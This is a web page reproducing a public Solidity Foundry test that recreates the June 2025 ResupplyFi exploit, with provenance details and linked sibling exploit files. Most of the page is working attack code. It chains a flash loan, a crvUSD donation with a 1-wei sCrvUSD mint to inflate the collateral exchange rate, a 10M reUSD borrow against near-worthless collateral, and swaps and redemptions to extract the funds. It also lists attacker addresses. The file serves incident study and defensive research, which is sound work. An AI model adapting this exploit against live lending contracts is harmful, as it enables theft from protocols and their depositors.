Public reproduction file
src/test/2025-06/ResupplyFi_exp.sol
Public reproduction file for dataset entry ResupplyFi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : 9.6M USD7// Attacker : https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea8// Attack Contract : https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc79// Created Attack Contract: https://etherscan.io/address/0x151aA63dbb7C605E7b0a173Ab7375e1450E7923810// Vulnerable Contract : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd611// Attack Tx : https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d313// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code16// @Analysis17// Post-mortem : https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI18// Twitter Guy : https://x.com/peckshield/status/193806194864781764719// Hacking God : N/A21interface IERC20 {22 function approve(address, uint256) external;23 function balanceOf(24 address25 ) external view returns (uint256);26 function transfer(address, uint256) external;27}29interface ICurvePool {30 function exchange(int128, int128, uint256, uint256) external;31}33interface IsCRVUSD {34 function mint(35 uint25636 ) external;37 function approve(address, uint256) external;38 function balanceOf(39 address40 ) external view returns (uint256);41 function redeem(uint256, address, address) external;42}44interface IResupplyVault {45 function addCollateralVault(uint256, address) external;46 function borrow(uint256, uint256, address) external;47}49interface IUniswapV3Pool {50 function swap(address, bool, int256, uint160, bytes calldata) external;51}53interface IWETH {54 function balanceOf(55 address56 ) external view returns (uint256);57 function withdraw(58 uint25659 ) external;60}62interface IMorphoBlue {63 function flashLoan(address, uint256, bytes calldata) external;64}66contract ResupplyFi is BaseTestWithBalanceLog {67 // Token Addresses68 IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);69 IERC20 private constant crvUsd = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);70 IsCRVUSD private constant sCrvUsd = IsCRVUSD(0x0655977FEb2f289A4aB78af67BAB0d17aAb84367);71 IERC20 private constant reUsd = IERC20(0x57aB1E0003F623289CD798B1824Be09a793e4Bec);72 IWETH private constant weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);74 // Contract Addresses75 IMorphoBlue private constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);76 ICurvePool private constant curveUsdcCrvusdPool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);77 IsCRVUSD private constant sCrvUsdContract = IsCRVUSD(0x01144442fba7aDccB5C9DC9cF33dd009D50A9e1D);78 IResupplyVault private constant resupplyVault = IResupplyVault(0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6);79 ICurvePool private constant curveReusdPool = ICurvePool(0xc522A6606BBA746d7960404F22a3DB936B6F4F50);80 IUniswapV3Pool private constant uniswapV3Pool = IUniswapV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);82 address private constant crvUSDController = 0x89707721927d7aaeeee513797A8d6cBbD0e08f41;84 // Exploit Parameters85 uint256 private constant forkBlockNumber = 22_785_460;86 uint256 private constant flashLoanAmount = 4000 * 1e6; // 4,000 USDC87 uint256 private constant crvUsdTransferAmount = 2000 * 1e18; // 2,000 crvUSD88 uint256 private constant sCrvUsdMintAmount = 1;89 uint256 private constant borrowAmount = 10_000_000 * 1e18; // 10,000,000 reUSD90 uint256 private constant redeemAmount = 9_339_517.438774046 ether; // ~9,339.52 sCrvUsd91 uint256 private constant finalExchangeAmount = 9_813_732.715269934 ether; // ~9,813.73 crvUSD93 receive() external payable {}95 function setUp() public {96 vm.createSelectFork("mainnet", forkBlockNumber);97 fundingToken = address(usdc);98 }100 function testExploit() public balanceLog {101 usdc.approve(address(morphoBlue), type(uint256).max);102 morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex"");103 }105 function onMorphoFlashLoan(uint256, bytes calldata) external {106 require(msg.sender == address(morphoBlue), "Caller is not MorphoBlue");107 _swapUsdcForCrvUsd();108 _manipulateOracles();109 _borrowAndSwapReUSD();110 _redeemAndFinalSwap();111 }113 function _swapUsdcForCrvUsd() internal {114 usdc.approve(address(curveUsdcCrvusdPool), type(uint256).max);115 curveUsdcCrvusdPool.exchange(0, 1, flashLoanAmount, 0);116 }118 function _manipulateOracles() internal {119 crvUsd.transfer(crvUSDController, crvUsdTransferAmount);120 crvUsd.approve(address(sCrvUsdContract), type(uint256).max);121 sCrvUsdContract.mint(sCrvUsdMintAmount);122 }124 function _borrowAndSwapReUSD() internal {125 sCrvUsdContract.approve(address(resupplyVault), type(uint256).max);126 resupplyVault.addCollateralVault(sCrvUsdMintAmount, address(this));127 resupplyVault.borrow(borrowAmount, 0, address(this));128 reUsd.approve(address(curveReusdPool), type(uint256).max);129 curveReusdPool.exchange(0, 1, reUsd.balanceOf(address(this)), 0);130 }132 function _redeemAndFinalSwap() internal {133 sCrvUsd.redeem(redeemAmount, address(this), address(this));134 crvUsd.approve(address(curveUsdcCrvusdPool), type(uint256).max);135 curveUsdcCrvusdPool.exchange(1, 0, finalExchangeAmount, 0);136 }137}Analysis
Dataset entry
Public Foundry test for “ResupplyFi” (2025-06-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
- src/test/2025-06/WaleCoin_exp.solSame month in the dataset · 121 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea
- Attack Contract
0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7
- Vulnerable Contract
0x6e90c85a495d54c6d7e1f3400fef1f6e59f86bd6
- Attack Tx
0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3
- Post: https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI
- Twitter: https://x.com/peckshield/status/1938061948647817647
- Explorer: https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea
- Explorer: https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7
- Explorer: https://etherscan.io/address/0x151aA63dbb7C605E7b0a173Ab7375e1450E79238
- Explorer: https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6
- Explorer: https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code
File record
- Name
- ResupplyFi
- Path
- src/test/2025-06/ResupplyFi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7b2b866835fa9e9b0de91601c0b1c166c122f945
- Language
- Solidity
- Size
- 138 lines
- Date
- 2025-06-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/ResupplyFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7b2b866835fa9e9b0de91601c0b1c166c122f945, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.